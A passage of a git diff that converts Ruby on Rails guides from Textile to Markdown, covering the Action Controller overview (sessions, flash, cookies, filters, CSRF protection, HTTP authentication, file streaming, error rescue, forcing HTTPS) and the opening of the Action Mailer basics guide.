ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. -Read more about session storage in the "Security Guide":security.html. +Read more about session storage in the [Security Guide](security.html). -If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file: +If you need a different session storage mechanism, you can change it in the `config/initializers/session_store.rb` file: -<ruby> +```ruby # Use the database for sessions instead of the cookie-based default, # which shouldn't be used to store highly confidential information # (create the session table with "script/rails g active_record:session_migration") # YourApp::Application.config.session_store :active_record_store -</ruby> +``` -Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in +config/initializers/session_store.rb+: +Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in `config/initializers/session_store.rb`: -<ruby> +```ruby # Be sure to restart your server when you modify this file. YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session' -</ruby> +``` -You can also pass a +:domain+ key and specify the domain name for the cookie: +You can also pass a `:domain` key and specify the domain name for the cookie: -<ruby> +```ruby # Be sure to restart your server when you modify this file. YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session', :domain => ".example.com" -</ruby> +``` -Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in +config/initializers/secret_token.rb+ +Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/initializers/secret_token.rb` -<ruby> +```ruby # Be sure to restart your server when you modify this file. # Your secret key for verifying the integrity of signed cookies. @@ -217,19 +222,19 @@ Rails sets up (for the CookieStore) a secret key used for signing the session da # Make sure the secret is at least 30 characters and all random, # no regular words or you'll be exposed to dictionary attacks. YourApp::Application.config.secret_token = '49d3f3de9ed86c74b94ad6bd0...' -</ruby> +``` -NOTE: Changing the secret when using the +CookieStore+ will invalidate all existing sessions. +NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions. -h4. Accessing the Session +### Accessing the Session -In your controller you can access the session through the +session+ instance method. +In your controller you can access the session through the `session` instance method. NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job. Session values are stored using key/value pairs like a hash: -<ruby> +```ruby class ApplicationController < ActionController::Base private @@ -243,11 +248,11 @@ class ApplicationController < ActionController::Base User.find_by_id(session[:current_user_id]) end end -</ruby> +``` To store something in the session, just assign it to the key like a hash: -<ruby> +```ruby class LoginsController < ApplicationController # "Create" a login, aka "log the user in" def create @@ -259,11 +264,11 @@ class LoginsController < ApplicationController end end end -</ruby> +``` -To remove something from the session, assign that key to be +nil+: +To remove something from the session, assign that key to be `nil`: -<ruby> +```ruby class LoginsController < ApplicationController # "Delete" a login, aka "log the user out" def destroy @@ -272,19 +277,19 @@ class LoginsController < ApplicationController redirect_to root_url end end -</ruby> +``` -To reset the entire session, use +reset_session+. +To reset the entire session, use `reset_session`. -h4. The Flash +### The Flash The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages etc. -It is accessed in much the same way as the session, as a hash (it's a "FlashHash":http://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html instance). +It is accessed in much the same way as the session, as a hash (it's a [FlashHash](http://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html) instance). Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request: -<ruby> +```ruby class LoginsController < ApplicationController def destroy session[:current_user_id] = nil @@ -292,19 +297,19 @@ class LoginsController < ApplicationController redirect_to root_url end end -</ruby> +``` -Note that it is also possible to assign a flash message as part of the redirection. You can assign +:notice+, +:alert+ or the general purpose +:flash+: +Note that it is also possible to assign a flash message as part of the redirection. You can assign `:notice`, `:alert` or the general purpose `:flash`: -<ruby> +```ruby redirect_to root_url, :notice => "You have successfully logged out." redirect_to root_url, :alert => "You're stuck here!" redirect_to root_url, :flash => { :referral_code => 1234 } -</ruby> +``` -The +destroy+ action redirects to the application's +root_url+, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout: +The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout: -<ruby> +```erb <html> <!-- <head/> --> <body> @@ -317,21 +322,21 @@ The +destroy+ action redirects to the application's +root_url+, where the messag <!-- more content --> </body> </html> -</ruby> +``` This way, if an action sets a notice or an alert message, the layout will display it automatically. You can pass anything that the session can store; you're not limited to notices and alerts: -<ruby> +```erb <% if flash[:just_signed_up] %> <p class="welcome">Welcome to our site!</p> <% end %> -</ruby> +``` -If you want a flash value to be carried over to another request, use the +keep+ method: +If you want a flash value to be carried over to another request, use the `keep` method: -<ruby> +```ruby class MainController < ApplicationController # Let's say this action corresponds to root_url, but you want # all requests here to be redirected to UsersController#index. @@ -347,13 +352,13 @@ class MainController < ApplicationController redirect_to users_url end end -</ruby> +``` -h5. +flash.now+ +#### `flash.now` -By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the +create+ action fails to save a resource and you render the +new+ template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use +flash.now+ in the same way you use the normal +flash+: +By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`: -<ruby> +```ruby class ClientsController < ApplicationController def create @client = Client.new(params[:client]) @@ -365,13 +370,14 @@ class ClientsController < ApplicationController end end end -</ruby> +``` -h3. Cookies +Cookies +------- -Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the +cookies+ method, which -- much like the +session+ -- works like a hash: +Your application can store small amounts of data on the client -- called cookies -- that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which -- much like the `session` -- works like a hash: -<ruby> +```ruby class CommentsController < ApplicationController def new # Auto-fill the commenter's name if it has been stored in a cookie @@ -395,15 +401,16 @@ class CommentsController < ApplicationController end end end -</ruby> +``` -Note that while for session values you set the key to +nil+, to delete a cookie value you should use +cookies.delete(:key)+. +Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`. -h3. Rendering xml and json data +Rendering xml and json data +--------------------------- -ActionController makes it extremely easy to render +xml+ or +json+ data. If you generate a controller using scaffold then your controller would look something like this. +ActionController makes it extremely easy to render `xml` or `json` data. If you generate a controller using scaffold then your controller would look something like this. -<ruby> +```ruby class UsersController < ApplicationController def index @users = User.all @@ -414,20 +421,21 @@ class UsersController < ApplicationController end end end -</ruby> +``` -Notice that in the above case code is <tt>render :xml => @users</tt> and not <tt>render :xml => @users.to_xml</tt>. That is because if the input is not string then rails automatically invokes +to_xml+ . +Notice that in the above case code is `render :xml => @users` and not `render :xml => @users.to_xml`. That is because if the input is not string then rails automatically invokes `to_xml` . -h3. Filters +Filters +------- Filters are methods that are run before, after or "around" a controller action. -Filters are inherited, so if you set a filter on +ApplicationController+, it will be run on every controller in your application. +Filters are inherited, so if you set a filter on `ApplicationController`, it will be run on every controller in your application. Before filters may halt the request cycle. A common before filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way: -<ruby> +```ruby class ApplicationController < ActionController::Base before_filter :require_login @@ -449,21 +457,21 @@ class ApplicationController < ActionController::Base !!current_user end end -</ruby> +``` The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter they are also cancelled. -In this example the filter is added to +ApplicationController+ and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with +skip_before_filter+: +In this example the filter is added to `ApplicationController` and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_filter`: -<ruby> +```ruby class LoginsController < ApplicationController skip_before_filter :require_login, :only => [:new, :create] end -</ruby> +``` -Now, the +LoginsController+'s +new+ and +create+ actions will work as before without requiring the user to be logged in. The +:only+ option is used to only skip this filter for these actions, and there is also an +:except+ option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place. +Now, the `LoginsController`'s `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place. -h4. After Filters and Around Filters +### After Filters and Around Filters In addition to before filters, you can also run filters after an action has been executed, or both before and after. @@ -473,7 +481,7 @@ Around filters are responsible for running their associated actions by yielding, For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction: -<ruby> +```ruby class ChangesController < ActionController::Base around_filter :wrap_in_transaction, :only => :show @@ -489,31 +497,31 @@ class ChangesController < ActionController::Base end end end -</ruby> +``` Note that an around filter also wraps rendering. In particular, if in the example above, the view itself reads from the database (e.g. via a scope), it will do so within the transaction and thus present the data to preview. You can choose not to yield and build the response yourself, in which case the action will not be run. -h4. Other Ways to Use Filters +### Other Ways to Use Filters While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing. -The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the +require_login+ filter from above could be rewritten to use a block: +The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block: -<ruby> +```ruby class ApplicationController < ActionController::Base before_filter do |controller| redirect_to new_login_url unless controller.send(:logged_in?) end end -</ruby> +``` -Note that the filter in this case uses +send+ because the +logged_in?+ method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful. +Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful. The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class: -<ruby> +```ruby class ApplicationController < ActionController::Base before_filter LoginFilter end @@ -526,11 +534,12 @@ class LoginFilter end end end -</ruby> +``` -Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method +filter+ which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same +filter+ method, which will get run in the same way. The method must +yield+ to execute the action. Alternatively, it can have both a +before+ and an +after+ method that are run before and after the action. +Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method `filter` which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same `filter` method, which will get run in the same way. The method must `yield` to execute the action. Alternatively, it can have both a `before` and an `after` method that are run before and after the action. -h3. Request Forgery Protection +Request Forgery Protection +-------------------------- Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. @@ -540,99 +549,103 @@ The way this is done is to add a non-guessable token which is only known to your If you generate a form like this: -<ruby> +```erb <%= form_for @user do |f| %> <%= f.text_field :username %> <%= f.text_field :password %> <% end %> -</ruby> +``` You will see how the token gets added as a hidden field: -<html> +```html <form accept-charset="UTF-8" action="/users/1" method="post"> <input type="hidden" value="67250ab105eb5ad10851c00a5621854a23af5489" name="authenticity_token"/> <!-- fields --> </form> -</html> +``` -Rails adds this token to every form that's generated using the "form helpers":form_helpers.html, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method +form_authenticity_token+: +Rails adds this token to every form that's generated using the [form helpers](form_helpers.html), so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`: -The +form_authenticity_token+ generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls. +The `form_authenticity_token` generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls. -The "Security Guide":security.html has more about this and a lot of other security-related issues that you should be aware of when developing a web application. +The [Security Guide](security.html) has more about this and a lot of other security-related issues that you should be aware of when developing a web application. -h3. The Request and Response Objects +The Request and Response Objects +-------------------------------- -In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The +request+ method contains an instance of +AbstractRequest+ and the +response+ method returns a response object representing what is going to be sent back to the client. +In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of `AbstractRequest` and the `response` method returns a response object representing what is going to be sent back to the client. -h4. The +request+ Object +### The `request` Object -The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionDispatch/Request.html. Among the properties that you can access on this object are: +The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Request.html). Among the properties that you can access on this object are: -|_.Property of +request+|_.Purpose| -|host|The hostname used for this request.| -|domain(n=2)|The hostname's first +n+ segments, starting from the right (the TLD).| -|format|The content type requested by the client.| -|method|The HTTP method used for the request.| -|get?, post?, patch?, put?, delete?, head?|Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD.| -|headers|Returns a hash containing the headers associated with the request.| -|port|The port number (integer) used for the request.| -|protocol|Returns a string containing the protocol used plus "://", for example "http://".| -|query_string|The query string part of the URL, i.e., everything after "?".| -|remote_ip|The IP address of the client.| -|url|The entire URL used for the request.| +| Property of `request` | Purpose | +| ----------------------------------------- | -------------------------------------------------------------------------------- | +| host | The hostname used for this request. | +| domain(n=2) | The hostname's first `n` segments, starting from the right (the TLD). | +| format | The content type requested by the client. | +| method | The HTTP method used for the request. | +| get?, post?, patch?, put?, delete?, head? | Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD. | +| headers | Returns a hash containing the headers associated with the request. | +| port | The port number (integer) used for the request. | +| protocol | Returns a string containing the protocol used plus "://", for example "http://". | +| query_string | The query string part of the URL, i.e., everything after "?". | +| remote_ip | The IP address of the client. | +| url | The entire URL used for the request. | -h5. +path_parameters+, +query_parameters+, and +request_parameters+ +#### `path_parameters`, `query_parameters`, and `request_parameters` -Rails collects all of the parameters sent along with the request in the +params+ hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The +query_parameters+ hash contains parameters that were sent as part of the query string while the +request_parameters+ hash contains parameters sent as part of the post body. The +path_parameters+ hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action. +Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action. -h4. The +response+ Object +### The `response` Object The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values. -|_.Property of +response+|_.Purpose| -|body|This is the string of data being sent back to the client. This is most often HTML.| -|status|The HTTP status code for the response, like 200 for a successful request or 404 for file not found.| -|location|The URL the client is being redirected to, if any.| -|content_type|The content type of the response.| -|charset|The character set being used for the response. Default is "utf-8".| -|headers|Headers used for the response.| +| Property of `response` | Purpose | +| ---------------------- | --------------------------------------------------------------------------------------------------- | +| body | This is the string of data being sent back to the client. This is most often HTML. | +| status | The HTTP status code for the response, like 200 for a successful request or 404 for file not found. | +| location | The URL the client is being redirected to, if any. | +| content_type | The content type of the response. | +| charset | The character set being used for the response. Default is "utf-8". | +| headers | Headers used for the response. | -h5. Setting Custom Headers +#### Setting Custom Headers -If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way: +If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to `response.headers` this way: -<ruby> +```ruby response.headers["Content-Type"] = "application/pdf" -</ruby> +``` -h3. HTTP Authentications +HTTP Authentications +-------------------- Rails comes with two built-in HTTP authentication mechanisms: * Basic Authentication * Digest Authentication -h4. HTTP Basic Authentication +### HTTP Basic Authentication -HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +http_basic_authenticate_with+. +HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `http_basic_authenticate_with`. -<ruby> +```ruby class AdminController < ApplicationController http_basic_authenticate_with :name => "humbaba", :password => "5baa61e4" end -</ruby> +``` -With this in place, you can create namespaced controllers that inherit from +AdminController+. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. +With this in place, you can create namespaced controllers that inherit from `AdminController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication. -h4. HTTP Digest Authentication +### HTTP Digest Authentication -HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+. +HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, `authenticate_or_request_with_http_digest`. -<ruby> +```ruby class AdminController < ApplicationController USERS = { "lifo" => "world" } @@ -646,17 +659,18 @@ class AdminController < ApplicationController end end end -</ruby> +``` -As seen in the example above, the +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure. +As seen in the example above, the `authenticate_or_request_with_http_digest` block takes only one argument - the username. And the block returns the password. Returning `false` or `nil` from the `authenticate_or_request_with_http_digest` will cause authentication failure. -h3. Streaming and File Downloads +Streaming and File Downloads +---------------------------- -Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the +send_data+ and the +send_file+ methods, which will both stream data to the client. +send_file+ is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you. +Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, which will both stream data to the client. `send_file` is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you. -To stream data to the client, use +send_data+: +To stream data to the client, use `send_data`: -<ruby> +```ruby require "prawn" class ClientsController < ApplicationController # Generates a PDF document with information on the client and @@ -678,15 +692,15 @@ class ClientsController < ApplicationController end.render end end -</ruby> +``` -The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment". +The `download_pdf` action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to "inline". The opposite and default value for this option is "attachment". -h4. Sending Files +### Sending Files -If you want to send a file that already exists on disk, use the +send_file+ method. +If you want to send a file that already exists on disk, use the `send_file` method. -<ruby> +```ruby class ClientsController < ApplicationController # Stream a file that has already been generated and stored on disk. def download_pdf @@ -696,21 +710,21 @@ class ClientsController < ApplicationController :type => "application/pdf") end end -</ruby> +``` -This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option. +This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option. -If +:type+ is not specified, it will be guessed from the file extension specified in +:filename+. If the content type is not registered for the extension, <tt>application/octet-stream</tt> will be used. +If `:type` is not specified, it will be guessed from the file extension specified in `:filename`. If the content type is not registered for the extension, `application/octet-stream` will be used. WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see. TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. -h4. RESTful Downloads +### RESTful Downloads -While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming: +While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming: -<ruby> +```ruby class ClientsController < ApplicationController # The user can request to receive this resource as HTML or PDF. def show @@ -722,49 +736,51 @@ class ClientsController < ApplicationController end end end -</ruby> +``` -In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file +config/initializers/mime_types.rb+: +In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`: -<ruby> +```ruby Mime::Type.register "application/pdf", :pdf -</ruby> +``` NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect. Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL: -<shell> +```bash GET /clients/1.pdf -</shell> +``` -h3. Parameter Filtering +Parameter Filtering +------------------- -Rails keeps a log file for each environment in the +log+ folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. You can filter certain request parameters from your log files by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log. +Rails keeps a log file for each environment in the `log` folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. You can filter certain request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log. -<ruby> +```ruby config.filter_parameters << :password -</ruby> +``` -h3. Rescue +Rescue +------ -Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the +ActiveRecord::RecordNotFound+ exception. +Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the `ActiveRecord::RecordNotFound` exception. Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application: -h4. The Default 500 and 404 Templates +### The Default 500 and 404 Templates -By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the +public+ folder, in +404.html+ and +500.html+ respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML. +By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML. -h4. +rescue_from+ +### `rescue_from` -If you want to do something a bit more elaborate when catching errors, you can use +rescue_from+, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. +If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. -When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a +Proc+ object passed to the +:with+ option. You can also use a block directly instead of an explicit +Proc+ object. +When an exception occurs which is caught by a `rescue_from` directive, the exception object is passed to the handler. The handler can be a method or a `Proc` object passed to the `:with` option. You can also use a block directly instead of an explicit `Proc` object. -Here's how you can use +rescue_from+ to intercept all +ActiveRecord::RecordNotFound+ errors and do something with them. +Here's how you can use `rescue_from` to intercept all `ActiveRecord::RecordNotFound` errors and do something with them. -<ruby> +```ruby class ApplicationController < ActionController::Base rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found @@ -774,11 +790,11 @@ class ApplicationController < ActionController::Base render :text => "404 Not Found", :status => 404 end end -</ruby> +``` Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application: -<ruby> +```ruby class ApplicationController < ActionController::Base rescue_from User::NotAuthorized, :with => :user_not_authorized @@ -806,28 +822,29 @@ class ClientsController < ApplicationController raise User::NotAuthorized unless current_user.admin? end end -</ruby> +``` -NOTE: Certain exceptions are only rescuable from the +ApplicationController+ class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information. +NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's [article](http://m.onkey.org/2008/7/20/rescue-from-dispatching) on the subject for more information. -h3. Force HTTPS protocol +Force HTTPS protocol +-------------------- -Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that: +Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use `force_ssl` method in your controller to enforce that: -<ruby> +```ruby class DinnerController force_ssl end -</ruby> +``` -Just like the filter, you could also passing +:only+ and +:except+ to enforce the secure connection only to specific actions. +Just like the filter, you could also passing `:only` and `:except` to enforce the secure connection only to specific actions. -<ruby> +```ruby class DinnerController force_ssl :only => :cheeseburger # or force_ssl :except => :cheeseburger end -</ruby> +``` -Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file. +Please note that if you found yourself adding `force_ssl` to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the `config.force_ssl` in your environment file. diff --git a/guides/source/action_mailer_basics.textile b/guides/source/action_mailer_basics.md index d92d5c48fb..f216c8c00d 100644 --- a/guides/source/action_mailer_basics.textile +++ b/guides/source/action_mailer_basics.md @@ -1,47 +1,50 @@ -h2. Action Mailer Basics +Action Mailer Basics +==================== This guide should provide you with all you need to get started in sending and receiving emails from and to your application, and many internals of Action Mailer. It also covers how to test your mailers. -endprologue. +-------------------------------------------------------------------------------- WARNING. This guide is based on Rails 3.2. Some of the code shown here will not work in earlier versions of Rails. -h3. Introduction +Introduction +------------ -Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+. +Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from `ActionMailer::Base` and live in `app/mailers`. Those mailers have associated views that appear alongside controller views in `app/views`. -h3. Sending Emails +Sending Emails +-------------- This section will provide a step-by-step guide to creating a mailer and its views. -h4. Walkthrough to Generating a Mailer +### Walkthrough to Generating a Mailer -h5. Create the Mailer +#### Create the Mailer -<shell> +```bash $ rails generate mailer UserMailer create app/mailers/user_mailer.rb invoke erb create app/views/user_mailer invoke test_unit create test/functional/user_mailer_test.rb -</shell> +``` So we got the mailer, the views, and the tests. -h5. Edit the Mailer +#### Edit the Mailer -+app/mailers/user_mailer.rb+ contains an empty mailer: +`app/mailers/user_mailer.rb` contains an empty mailer: -<ruby> +```ruby class UserMailer < ActionMailer::Base default :from => "from@example.com" end -</ruby> +``` -Let's add a method called +welcome_email+, that will send an email to the user's registered email address: +Let's add a method called `welcome_email`, that will send an email to the user's registered email address: -<ruby> +```ruby class UserMailer < ActionMailer::Base default :from => "notifications@example.com" @@ -51,20 +54,20 @@ class UserMailer < ActionMailer::Base mail(:to => user.email, :subject => "Welcome to My Awesome Site") end end -</ruby> +``` Here is a quick explanation of the items presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of Action Mailer user-settable attributes section. -* <tt>default Hash</tt> - This is a hash of default values for any email you send, in this case we are setting the <tt>:from</tt> header to a value for all messages in this class, this can be overridden on a per email basis -* +mail+ - The actual email message, we are passing the <tt>:to</tt> and <tt>:subject</tt> headers in. +* `default Hash` - This is a hash of default values for any email you send, in this case we are setting the `:from` header to a value for all messages in this class, this can be overridden on a per email basis +* `mail` - The actual email message, we are passing the `:to` and `:subject` headers in. Just like controllers, any instance variables we define in the method become available for use in the views. -h5. Create a Mailer View +#### Create a Mailer View -Create a file called +welcome_email.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML: +Create a file called `welcome_email.html.erb` in `app/views/user_mailer/`. This will be the template used for the email, formatted in HTML: -<erb> +```html+erb <!DOCTYPE html> <html> <head> @@ -82,11 +85,11 @@ Create a file called +welcome_email.html.erb+ in +app/views/user_mailer/+. This <p>Thanks for joining and have a great day!</p> </body> </html> -</erb> +``` -It is also a good idea to make a text part for this email. To do this, create a file called +welcome_email.text.erb+ in +app/views/user_mailer/+: +It is also a good idea to make a text part for this email. To do this, create a file called 